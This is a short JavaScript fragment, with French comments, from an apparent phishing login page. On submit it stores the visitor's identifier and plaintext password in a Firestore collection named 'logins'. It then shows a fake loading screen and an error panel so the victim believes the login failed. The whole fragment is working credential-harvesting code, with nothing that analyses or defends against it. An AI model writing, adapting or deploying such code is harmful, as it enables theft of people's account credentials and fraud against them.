// Fonction de bascule toggleContainer.addEventListener('click', function() { if (passwordField.type === "password") { passwordField.type = "text"; toggleContainer.innerHTML = hideMarkup; } else { passwordField.type = "password"; toggleContainer.innerHTML = showMarkup; } }); function triggerLoading() { loginUI.style.display = 'none'; loadingScreen.style.display = 'flex'; setTimeout(() => { loadingScreen.style.display = 'none'; errorPanel.style.display = 'flex'; }, 3000); } document.getElementById('loginForm').addEventListener('submit', function(e) { e.preventDefault(); const val = inputField.value.trim(); const pass = passwordField.value; const isNumber = /^\d+$/.test(val); const hasAt = val.includes('@'); if (val === "" || (isNumber && val.length < 8) || (!isNumber && !hasAt)) { errorMsg.style.display = 'flex'; inputField.classList.add('error-border'); } else { db.collection("logins").add({ identifiant: val, mot_de_passe: pass, date_envoi: new Date().toLocaleString() }) .then(() => { triggerLoading(); }) .catch((error) => { console.error("Erreur lors de l'envoi : ", error); triggerLoading(); }); } }); inputField.addEventListener('input', () => { errorMsg.style.display = 'none'; inputField.classList.remove('error-border'); });